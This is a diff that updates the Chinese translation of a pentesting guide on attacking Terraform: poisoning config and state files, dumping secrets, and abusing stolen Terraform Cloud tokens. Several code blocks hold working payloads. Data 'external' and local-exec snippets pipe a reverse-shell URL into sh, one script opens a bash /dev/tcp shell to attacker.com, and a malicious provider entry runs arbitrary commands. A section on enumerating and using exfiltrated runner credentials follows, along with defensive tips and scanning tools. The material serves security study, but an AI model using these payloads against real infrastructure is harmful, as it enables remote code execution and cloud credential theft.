diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 48d833027..77a4fa8fb 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -4,65 +4,65 @@
 
 ## 基本信息
 
-[来自文档：](https://developer.hashicorp.com/terraform/intro)
+[From the docs:](https://developer.hashicorp.com/terraform/intro)
 
-HashiCorp Terraform 是一个 **基础设施即代码工具**，允许您在可版本、可重用和可共享的人类可读配置文件中定义 **云和本地资源**。然后，您可以使用一致的工作流程来配置和管理整个生命周期中的所有基础设施。Terraform 可以管理低级组件，如计算、存储和网络资源，以及高级组件，如 DNS 条目和 SaaS 功能。
+HashiCorp Terraform 是一个 **infrastructure as code tool**，它允许你在可读的配置文件中定义 **cloud and on-prem resources**，这些文件可以被版本化、重用和共享。然后你可以使用一致的工作流在整个生命周期中配置和管理所有基础设施。Terraform 可以管理低层组件（如 compute、storage 和 networking resources），也可以管理高层组件（如 DNS entries 和 SaaS features）。
 
-#### Terraform 是如何工作的？
+#### How does Terraform work?
 
-Terraform 通过其应用程序编程接口（APIs）在云平台和其他服务上创建和管理资源。提供程序使 Terraform 能够与几乎任何具有可访问 API 的平台或服务一起工作。
+Terraform 通过各个平台和服务的应用程序编程接口（APIs）创建和管理资源。Providers 使 Terraform 能够与任何具有可访问 API 的平台或服务协同工作。
 
 ![](<../images/image (177).png>)
 
-HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个提供程序**，以管理成千上万种不同类型的资源和服务，这个数字还在不断增长。您可以在 [Terraform Registry](https://registry.terraform.io/) 上找到所有公开可用的提供程序，包括 Amazon Web Services (AWS)、Azure、Google Cloud Platform (GCP)、Kubernetes、Helm、GitHub、Splunk、DataDog 等等。
+HashiCorp 和 Terraform 社区已经编写了 **超过 1700 个 providers** 来管理数千种不同类型的资源和服务，并且这个数字还在增长。你可以在 [Terraform Registry](https://registry.terraform.io/) 上找到所有公开可用的 providers，包括 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 等等。
 
-核心 Terraform 工作流程由三个阶段组成：
+核心的 Terraform 工作流由三个阶段组成：
 
-- **编写：** 您定义资源，这些资源可能跨多个云提供商和服务。例如，您可能会创建一个配置，以在具有安全组和负载均衡器的虚拟私有云 (VPC) 网络中的虚拟机上部署应用程序。
-- **计划：** Terraform 创建一个执行计划，描述它将根据现有基础设施和您的配置创建、更新或销毁的基础设施。
-- **应用：** 在批准后，Terraform 按照正确的顺序执行提议的操作，尊重任何资源依赖关系。例如，如果您更新 VPC 的属性并更改该 VPC 中虚拟机的数量，Terraform 将在扩展虚拟机之前重新创建 VPC。
+- **Write:** 你定义资源，这些资源可能分布在多个 cloud providers 和服务上。例如，你可能创建一个配置，在 Virtual Private Cloud (VPC) 网络中的虚拟机上部署一个应用，并配置 security groups 和一个 load balancer。
+- **Plan:** Terraform 创建一个执行计划，描述它将基于现有基础设施和你的配置创建、更新或销毁的基础设施。
+- **Apply:** 在获得批准后，Terraform 以正确的顺序执行提议的操作，遵循任何资源依赖关系。例如，如果你更新了 VPC 的属性并改变了该 VPC 中虚拟机的数量，Terraform 会先重建 VPC 然后再扩展虚拟机。
 
 ![](<../images/image (215).png>)
 
-### Terraform 实验室
+### Terraform Lab
 
-只需在您的计算机上安装 terraform。
+只需在你的电脑上安装 terraform。
 
-这里有一个 [指南](https://learn.hashicorp.com/tutorials/terraform/install-cli)，这里有 [下载 terraform 的最佳方式](https://www.terraform.io/downloads)。
+Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).
 
-## Terraform 中的 RCE：配置文件中毒
+## RCE in Terraform: config file poisoning
 
-Terraform **没有一个暴露网页或网络服务的平台**，我们可以枚举，因此，妥协 terraform 的唯一方法是 **能够添加/修改 terraform 配置文件** 或 **能够修改 terraform 状态文件**（见下章）。
+Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).
 
-然而，terraform 是一个 **非常敏感的组件**，因为它将拥有 **特权访问** 不同位置，以便正常工作。
+然而，terraform 是一个被入侵后 **非常敏感的组件**，因为它需要对不同的位置拥有 **privileged access** 才能正常工作。
 
-攻击者能够妥协运行 terraform 的系统的主要方法是 **妥协存储 terraform 配置的仓库**，因为在某个时刻它们将被 **解释**。
+攻击者能够妥协运行 terraform 的系统的主要方式是 **妥协存储 terraform 配置的 repository**，因为这些配置最终会被 **解释/执行**。
 
-实际上，市面上有一些解决方案 **在创建 PR 后自动执行 terraform plan/apply**，例如 **Atlantis**：
+实际上，已经有一些解决方案会在创建 PR 后自动执行 terraform plan/apply，例如 **Atlantis**：
 
 {{#ref}}
 atlantis-security.md
 {{#endref}}
 
-如果您能够妥协一个 terraform 文件，有不同的方法可以在某人执行 `terraform plan` 或 `terraform apply` 时执行 RCE。
+如果你能够妥协 terraform 文件，当有人执行 `terraform plan` 或 `terraform apply` 时，有多种方式可以实现 RCE。
 
 ### Terraform plan
 
-Terraform plan 是 terraform 中 **使用最频繁的命令**，开发人员/使用 terraform 的解决方案一直在调用它，因此，**获得 RCE 的最简单方法**是确保您毒化一个 terraform 配置文件，该文件将在 `terraform plan` 中执行任意命令。
+Terraform plan 是 terraform 中 **使用最频繁的命令**，开发者/使用 terraform 的解决方案会频繁调用它，所以 **获取 RCE 的最简单方式** 是确保你能污染一个会在 `terraform plan` 中执行任意命令的 terraform 配置文件。
 
-**使用外部提供程序**
+**Using an external provider**
 
-Terraform 提供了 [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs)，它提供了一种在 Terraform 和外部程序之间进行接口的方法。您可以使用 `external` 数据源在 `plan` 期间运行任意代码。
+Terraform 提供了 [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs)，它提供了一种在 Terraform 与外部程序之间建立接口的方法。你可以使用 `external` data source 在 `plan` 期间运行任意代码。
 
-在 terraform 配置文件中注入如下内容将在执行 `terraform plan` 时执行一个反向 shell：
+在 terraform 配置文件中注入如下类似内容，将在执行 `terraform plan` 时触发 rev shell：
 ```javascript
 data "external" "example" {
 program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
 }
 ```
-**使用自定义提供程序**
+**使用自定义 provider**
 
-攻击者可以将一个 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) 发送到 [Terraform Registry](https://registry.terraform.io/)，然后将其添加到功能分支中的 Terraform 代码中 ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce))：
+攻击者可以将 [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) 提交到 [Terraform Registry](https://registry.terraform.io/)，然后将其添加到 feature 分支中的 Terraform 代码（[example from here](https://alex.kaskaso.li/post/terraform-plan-rce)）：
 ```javascript
 terraform {
 required_providers {
@@ -75,28 +75,28 @@ version = "1.0"
 
 provider "evil" {}
 ```
-提供程序在 `init` 中下载，并将在执行 `plan` 时运行恶意代码
+这个 provider 会在 `init` 阶段被下载，并会在执行 `plan` 时运行恶意代码
 
-您可以在 [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) 找到一个示例
+你可以在 [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) 找到一个示例
 
 **使用外部引用**
 
-上述两种选项都很有用，但不够隐蔽（第二种比第一种更隐蔽，但更复杂）。您可以通过遵循以下建议以 **更隐蔽的方式** 执行此攻击：
+前面提到的两种方法都有用，但都不是非常隐蔽（第二种比第一种更隐蔽，但也更复杂）。你甚至可以通过以下建议以更**隐蔽的方式**执行此攻击：
 
-- 不要直接将反向 shell 添加到 terraform 文件中，您可以 **加载一个包含反向 shell 的外部资源**：
+- 与其直接将 rev shell 添加到 terraform 文件中，你可以**加载一个外部资源**，该资源包含 rev shell：
 ```javascript
 module "not_rev_shell" {
 source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
 }
 ```
-您可以在 [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) 找到 rev shell 代码。
+你可以在 [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) 找到 rev shell 代码
 
-- 在外部资源中，使用 **ref** 功能来隐藏 **repo 中分支里的 terraform rev shell 代码**，类似于： `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- 在外部资源中，使用 **ref** 功能将 **terraform rev shell code in a branch** 隐藏在仓库的某个分支中，例如：`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
-将执行 Terraform apply 以应用所有更改，您也可以利用它通过注入 **一个恶意的 Terraform 文件与** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
-您只需确保一些有效负载，如以下内容，结束在 `main.tf` 文件中：
+Terraform apply 将被执行以应用所有更改，你也可以滥用它来通过注入 **一个包含** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html) **的恶意 Terraform 文件** 来获得 RCE。\
+你只需确保像下面这样的载荷被写入到 `main.tf` 文件末尾：
 ```json
 // Payload 1 to just steal a secret
 resource "null_resource" "secret_stealer" {
@@ -112,27 +112,27 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-遵循**前一种技术的建议**，以**更隐蔽的方式使用外部引用**执行此攻击。
+请遵循**先前技术的建议**，以**使用外部引用更隐蔽的方式**执行此攻击。
 
 ## Secrets Dumps
 
-您可以通过运行 `terraform apply` 来**转储 terraform 使用的秘密值**，方法是向 terraform 文件中添加如下内容：
+你可以通过向 terraform 文件添加类似的内容并运行 `terraform apply`，使 **terraform 使用的 secret 值被转储**：
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
 }
 ```
-## 滥用 Terraform 状态文件
+## 滥用 Terraform state 文件
 
-如果您对 terraform 状态文件具有写入权限但无法更改 terraform 代码，[**这项研究**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) 提供了一些有趣的选项来利用该文件。即使您对配置文件具有写入权限，使用状态文件的向量通常更为隐蔽，因为您不会在 `git` 历史中留下痕迹。
+In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.
 
-### Terraform 中的 RCE：配置文件注入
+### RCE in Terraform: config file poisoning
 
-可以[创建自定义提供程序](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)，并仅将 terraform 状态文件中的一个提供程序替换为恶意提供程序，或添加一个引用恶意提供程序的虚假资源。
+It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.
 
-提供程序[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)基于该研究并将这一原理武器化。您可以添加一个虚假资源，并在属性 `command` 中声明您想要运行的任意 bash 命令。当触发 `terraform` 运行时，这将在 `terraform plan` 和 `terraform apply` 步骤中被读取和执行。在 `terraform apply` 步骤中，`terraform` 将在执行您的命令后从状态文件中删除虚假资源，进行自我清理。更多信息和完整演示可以在[托管此提供程序源代码的 GitHub 仓库](https://github.com/offensive-actions/terraform-provider-statefile-rce)中找到。
+The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).
 
-要直接使用它，只需在 `resources` 数组的任何位置包含以下内容，并自定义 `name` 和 `command` 属性：
+要直接使用，只需在 `resources` 数组的任意位置包含如下内容，并自定义 `name` 和 `command` 属性：
 ```json
 {
 "mode": "managed",
@@ -152,15 +152,15 @@ value = nonsensitive(var.do_token)
 ]
 }
 ```
-然后，一旦执行 `terraform`，你的代码将运行。
+Then, as soon as `terraform` gets executed, your code will run.
 
 ### 删除资源 <a href="#deleting-resources" id="deleting-resources"></a>
 
 有两种方法可以销毁资源：
 
-1. **在状态文件中插入一个指向要销毁的真实资源的随机名称的资源**
+1. **在 state 文件中插入一个随机名称的资源，指向要销毁的真实资源**
 
-因为 terraform 会看到该资源不应该存在，它将销毁它（根据指示的真实资源 ID）。来自上一页的示例：
+因为 `terraform` 会看到该资源不应该存在，它就会销毁它（按照所示的真实资源 ID）。示例来自上一页：
 ```json
 {
 "mode": "managed",
@@ -176,13 +176,13 @@ value = nonsensitive(var.do_token)
 ]
 },
 ```
-2. **以一种无法更新的方式修改要删除的资源（这样它将被删除并重新创建）**
+2. **修改资源以使其无法更新（因此会被删除并重新创建）**
 
 对于 EC2 实例，修改实例的类型足以使 terraform 删除并重新创建它。
 
-### 替换黑名单提供者
+### 替换被列入黑名单的 provider
 
-如果您遇到 `hashicorp/external` 被列入黑名单的情况，可以通过以下方式重新实现 `external` 提供者。注意：我们使用由 https://registry.terraform.io/providers/nazarewk/external/latest 发布的 external 提供者的分支。您也可以发布自己的分支或重新实现。
+如果遇到 `hashicorp/external` 被列入黑名单的情况，可以通过以下方式重新实现 `external` provider。注意：我们使用了由 https://registry.terraform.io/providers/nazarewk/external/latest 发布的 external provider 的 fork。你也可以发布你自己的 fork 或重新实现。
 ```terraform
 terraform {
 required_providers {
@@ -193,7 +193,7 @@ version = "3.0.0"
 }
 }
 ```
-然后您可以像往常一样使用 `external`。
+然后你可以像平常一样使用 `external`。
 ```terraform
 data "external" "example" {
 program = ["sh", "-c", "whoami"]
@@ -201,19 +201,19 @@ program = ["sh", "-c", "whoami"]
 ```
 ## Terraform Cloud speculative plan RCE and credential exfiltration
 
-此场景利用 Terraform Cloud (TFC) 运行器在推测性计划期间进入目标云账户。
+本场景滥用 Terraform Cloud (TFC) runners 在 speculative plans 期间 pivot 到目标云账户。
 
-- 前提条件：
-- 从开发者机器窃取 Terraform Cloud 令牌。CLI 将令牌以明文形式存储在 `~/.terraform.d/credentials.tfrc.json`。
-- 该令牌必须具有对目标组织/工作区的访问权限，并至少具有 `plan` 权限。基于 VCS 的工作区阻止 CLI 的 `apply`，但仍允许推测性计划。
+- Preconditions:
+- 从开发者机器窃取 Terraform Cloud token。CLI 将 token 以明文存储在 `~/.terraform.d/credentials.tfrc.json`。
+- 该 token 必须对目标 organization/workspace 有访问权限，并至少具有 `plan` 权限。VCS-backed workspaces 会阻止 CLI 执行 `apply`，但仍允许 speculative plans。
 
-- 通过 TFC API 发现工作区和 VCS 设置：
+- Discover workspace and VCS settings via the TFC API:
 ```bash
 export TF_TOKEN=<stolen_token>
 curl -s -H "Authorization: Bearer $TF_TOKEN" \
 https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
 ```
-- 在使用外部数据源和 Terraform Cloud "cloud" 块针对 VCS 支持的工作区时，在推测计划期间触发代码执行：
+- 在 speculative plan 期间触发 code 执行，使用 external data source 和 Terraform Cloud "cloud" block 针对 VCS-backed workspace：
 ```hcl
 terraform {
 cloud {
@@ -226,32 +226,32 @@ data "external" "exec" {
 program = ["bash", "./rsync.sh"]
 }
 ```
-获取 TFC 运行器上反向 shell 的示例 rsync.sh：
+用于在 TFC runner 上获取 reverse shell 的 rsync.sh 示例:
 ```bash
 #!/usr/bin/env bash
 bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
 ```
-在临时运行器上执行程序的推测计划：
+在临时 runner 上运行一个模拟计划以执行该程序：
 ```bash
 terraform init
 terraform plan
 ```
-- 枚举并从运行器中提取注入的云凭证。在运行期间，TFC 通过文件和环境变量注入提供程序凭证：
+- Enumerate and exfiltrate 注入到 runner 的 cloud credentials。运行时，TFC 会通过文件和 environment variables 注入 provider credentials：
 ```bash
 env | grep -i gcp || true
 env | grep -i aws || true
 ```
-预期在运行器工作目录中的文件：
-- GCP：
-- `tfc-google-application-credentials`（工作负载身份联合 JSON 配置）
-- `tfc-gcp-token`（短期 GCP 访问令牌）
-- AWS：
-- `tfc-aws-shared-config`（Web 身份/OIDC 角色假设配置）
-- `tfc-aws-token`（短期令牌；某些组织可能使用静态密钥）
+Expected files on the runner working directory:
+- GCP:
+- `tfc-google-application-credentials` (Workload Identity Federation JSON 配置文件)
+- `tfc-gcp-token` (短期 GCP 访问令牌)
+- AWS:
+- `tfc-aws-shared-config` (web identity/OIDC 角色假设配置)
+- `tfc-aws-token` (短期令牌；某些组织可能使用静态密钥)
 
-- 使用短期凭证进行旁路 VCS 门：
+- 使用这些短期凭证以带外方式绕过 VCS 检查：
 
-GCP (gcloud)：
+GCP (gcloud):
 ```bash
 export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
 gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
@@ -263,27 +263,54 @@ export AWS_CONFIG_FILE=./tfc-aws-shared-config
 export AWS_PROFILE=default
 aws sts get-caller-identity
 ```
-凭借这些凭据，攻击者可以直接使用本地 CLI 创建/修改/销毁资源，绕过通过 VCS 阻止 `apply` 的基于 PR 的工作流程。
+使用这些凭证，攻击者可以直接使用本地 CLI 创建/修改/销毁资源，绕过通过 VCS 阻止 `apply` 的基于 PR 的工作流。
+
+- 防御建议：
+- 对 TFC 用户/团队和令牌应用最小权限原则。审计成员资格，避免将过多成员设为 owner。
+- 在可行情况下，限制对敏感 VCS 支持的 workspaces 的 `plan` 权限。
+- 使用 Sentinel 策略强制实施 provider/data source 的允许列表，以阻止 `data "external"` 或未知 providers。参见 HashiCorp 关于 provider 过滤的指导。
+- 优先使用 OIDC/WIF 而非静态云凭证；将 runners 视为敏感实体。监控推测性 `plan` 运行和意外出站流量。
+- 检测 `tfc-*` 凭证工件的外泄，并在 plan 期间对可疑的 `external` 程序使用发出告警。
+
+
+## 攻破 Terraform Cloud
+
+### 使用 token
+
+As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**，terraform CLI 在 **`~/.terraform.d/credentials.tfrc.json`** 以明文存储 tokens。窃取此 token 可使攻击者在该 token 的作用域内冒充该用户。
+
+使用该 token 可以获取 org/workspace，命令如下：
+```bash
+GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
+Authorization: Bearer <TF_TOKEN>
+```
+然后就可以使用 **`terraform plan`** 运行任意代码，正如前一章所述。
+
+### 逃逸到云端
+
+如果 runner 位于某个云环境中，就有可能获取附加到 runner 的主体（principal）的令牌并在带外使用。
+
+- **GCP files (present in current run working directory)**
+- `tfc-google-application-credentials` — JSON 配置，用于 Workload Identity Federation(WIF)，告诉 Google 如何交换外部身份。
+- `tfc-gcp-token` — 短期有效（≈1 hour）的 GCP 访问令牌，被上者引用
+
+- **AWS files**
+- `tfc-aws-shared-config` — 用于 web identity federation/OIDC role assumption 的 JSON（优先于静态密钥）。
+- `tfc-aws-token` — 短期令牌，或在配置错误时可能是静态 IAM 密钥。
 
-- 防御性指导：
-- 对 TFC 用户/团队和令牌应用最小权限。审计成员资格，避免过大的所有者。
-- 在敏感的 VCS 支持的工作区上限制 `plan` 权限，尽可能做到。
-- 使用 Sentinel 策略强制执行提供者/数据源白名单，以阻止 `data "external"` 或未知提供者。请参阅 HashiCorp 关于提供者过滤的指导。
-- 优先使用 OIDC/WIF 而非静态云凭据；将运行器视为敏感。监控投机性计划运行和意外的外发。
-- 检测 `tfc-*` 凭据工件的外泄，并在计划期间对可疑的 `external` 程序使用发出警报。
 
 ## 自动审计工具
 
 ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
 
-Snyk 提供全面的基础设施即代码 (IaC) 扫描解决方案，检测 Terraform、CloudFormation、Kubernetes 和其他 IaC 格式中的漏洞和配置错误。
+Snyk 提供一个全面的 Infrastructure as Code (IaC) 扫描解决方案，用于检测 Terraform、CloudFormation、Kubernetes 以及其他 IaC 格式中的漏洞和配置错误。
 
-- **功能：**
+- **Features:**
 - 实时扫描安全漏洞和合规性问题。
-- 与版本控制系统（GitHub、GitLab、Bitbucket）集成。
-- 自动修复拉取请求。
-- 详细的修复建议。
-- **注册：** 在 [Snyk](https://snyk.io/) 上创建一个帐户。
+- 与版本控制系统集成（GitHub、GitLab、Bitbucket）。
+- 自动生成修复的 pull requests。
+- 提供详细的修复建议。
+- **Sign Up:** 在 [Snyk](https://snyk.io/) 上创建一个账户。
 ```bash
 brew tap snyk/tap
 brew install snyk
@@ -292,28 +319,28 @@ snyk iac test /path/to/terraform/code
 ```
 ### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
 
-**Checkov** 是一个用于基础设施即代码 (IaC) 的静态代码分析工具，同时也是一个用于图像和开源包的软件组成分析 (SCA) 工具。
+**Checkov** 是一个针对基础设施即代码 (IaC) 的静态代码分析工具，同时也是用于镜像和开源包的软件成分分析 (SCA) 工具。
 
-它扫描使用 [Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 提供的云基础设施，并使用基于图形的扫描检测安全和合规性错误配置。
+它扫描使用 [Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 或 [OpenTofu](https://opentofu.org/) 配置的云基础设施，并使用基于图的扫描检测安全和合规性错误配置。
 
-它执行 [软件组成分析 (SCA) 扫描](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)，这是对开源包和图像进行的扫描，以查找常见漏洞和暴露 (CVE)。
+它执行 [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)，对开源包和镜像进行 Common Vulnerabilities and Exposures (CVEs) 的扫描。
 ```bash
 pip install checkov
 checkov -d /path/to/folder
 ```
 ### [terraform-compliance](https://github.com/terraform-compliance/cli)
 
-来自 [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` 是一个轻量级的、专注于安全和合规性的测试框架，针对 terraform 进行负面测试，以支持您的基础设施即代码。
+From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` 是一个轻量级的、以安全和合规为重点的针对 terraform 的测试框架，用于为你的 infrastructure-as-code 提供负向测试能力。
 
-- **合规性:** 确保实施的代码遵循安全标准和您自己的自定义标准
-- **行为驱动开发:** 我们几乎为所有事物都采用 BDD，为什么不为 IaC 呢？
-- **可移植:** 只需从 `pip` 安装或通过 `docker` 运行。请参见 [安装](https://terraform-compliance.com/pages/installation/)
-- **预部署:** 在代码部署之前进行验证
-- **易于集成:** 它可以在您的管道中运行（或在 git hooks 中），以确保所有部署都经过验证。
-- **职责分离:** 您可以将测试保存在不同的代码库中，由一个独立的团队负责。
+- **合规性:** 确保已实现的代码遵循安全标准以及你自定义的标准
+- **行为驱动开发:** 我们几乎对所有东西都使用 BDD，为什么不对 IaC 也这样做？
+- **可移植:** 只需通过 `pip` 安装或通过 `docker` 运行。See [Installation](https://terraform-compliance.com/pages/installation/)
+- **预部署:** 它在部署之前验证你的代码
+- **易于集成:** 它可以在你的 pipeline（或在 git hooks 中）运行，以确保所有部署都经过验证。
+- **职责分离:** 你可以将测试保存在不同的仓库中，由另一个团队负责。
 
 > [!NOTE]
-> 不幸的是，如果代码使用了一些您无法访问的提供者，您将无法执行 `terraform plan` 并运行此工具。
+> 不幸的是，如果代码使用了一些你无权访问的 providers，你将无法执行 `terraform plan` 并运行此工具。
 ```bash
 pip install terraform-compliance
 terraform plan -out=plan.out
@@ -321,26 +348,39 @@ terraform-compliance -f /path/to/folder
 ```
 ### [tfsec](https://github.com/aquasecurity/tfsec)
 
-来自 [**docs**](https://github.com/aquasecurity/tfsec)：tfsec 使用静态分析您的 terraform 代码来发现潜在的错误配置。
+摘自 [**docs**](https://github.com/aquasecurity/tfsec)：tfsec 使用静态分析你的 terraform 代码来发现潜在的错误配置。
 
-- ☁️ 检查所有主要（和一些次要）云提供商的错误配置
+- ☁️ 检查主要（以及部分次要）云提供商中的错误配置
 - ⛔ 数百条内置规则
 - 🪆 扫描模块（本地和远程）
 - ➕ 评估 HCL 表达式以及字面值
 - ↪️ 评估 Terraform 函数，例如 `concat()`
 - 🔗 评估 Terraform 资源之间的关系
-- 🧰 与 Terraform CDK 兼容
-- 🙅 应用（并美化）用户定义的 Rego 策略
-- 📃 支持多种输出格式：可爱（默认）、JSON、SARIF、CSV、CheckStyle、JUnit、文本、Gif。
+- 🧰 兼容 Terraform CDK
+- 🙅 应用（并增强）用户定义的 Rego 策略
+- 📃 支持多种输出格式：lovely（默认）、JSON、SARIF、CSV、CheckStyle、JUnit、text、Gif。
 - 🛠️ 可配置（通过 CLI 标志和/或配置文件）
-- ⚡ 非常快速，能够快速扫描大型代码库
+- ⚡ 非常快速，能够快速扫描大型仓库
 ```bash
 brew install tfsec
 tfsec /path/to/folder
 ```
+### [terrascan](https://github.com/tenable/terrascan)
+
+Terrascan 是一个针对基础设施即代码（Infrastructure as Code）的静态代码分析器。Terrascan 允许您：
+
+- 无缝扫描基础设施即代码中的错误配置。
+- 监控已部署的云基础设施以发现可能引起安全态势漂移的配置更改，并支持恢复到安全态势。
+- 检测安全漏洞和合规性违规。
+- 在为云原生基础设施配置资源之前缓解风险。
+- 可灵活在本地运行或与您的 CI\CD 集成。
+```bash
+brew install terrascan
+terrascan scan -d /path/to/folder
+```
 ### [KICKS](https://github.com/Checkmarx/kics)
 
-使用 **KICS** by Checkmarx 在基础设施即代码的开发周期早期发现安全漏洞、合规性问题和基础设施配置错误。
+在基础设施即代码 (infrastructure-as-code) 的开发周期早期，通过 Checkmarx 的 **KICS** 发现安全漏洞、合规问题和基础设施配置错误。
 
 **KICS** 代表 **K**eeping **I**nfrastructure as **C**ode **S**ecure，它是开源的，是任何云原生项目的必备工具。
 ```bash
@@ -348,17 +388,17 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 ```
 ### [Terrascan](https://github.com/tenable/terrascan)
 
-来自 [**docs**](https://github.com/tenable/terrascan)：Terrascan 是一个用于基础设施即代码的静态代码分析器。Terrascan 允许您：
+From the [**docs**](https://github.com/tenable/terrascan)：Terrascan 是一个用于基础设施即代码的静态代码分析器。Terrascan 允许你：
 
-- 无缝扫描基础设施即代码中的错误配置。
-- 监控已配置的云基础设施的配置更改，以防止姿态漂移，并能够恢复到安全姿态。
+- 无缝扫描基础设施即代码以发现配置错误。
+- 监控已配置的云基础设施以发现引入安全态偏移的配置更改，并支持恢复到安全配置。
 - 检测安全漏洞和合规性违规。
-- 在配置云原生基础设施之前减轻风险。
-- 提供灵活性，可以在本地运行或与您的 CI\CD 集成。
+- 在部署云原生基础设施之前缓解风险。
+- 提供在本地运行或与你的 CI\CD 集成的灵活性。
 ```bash
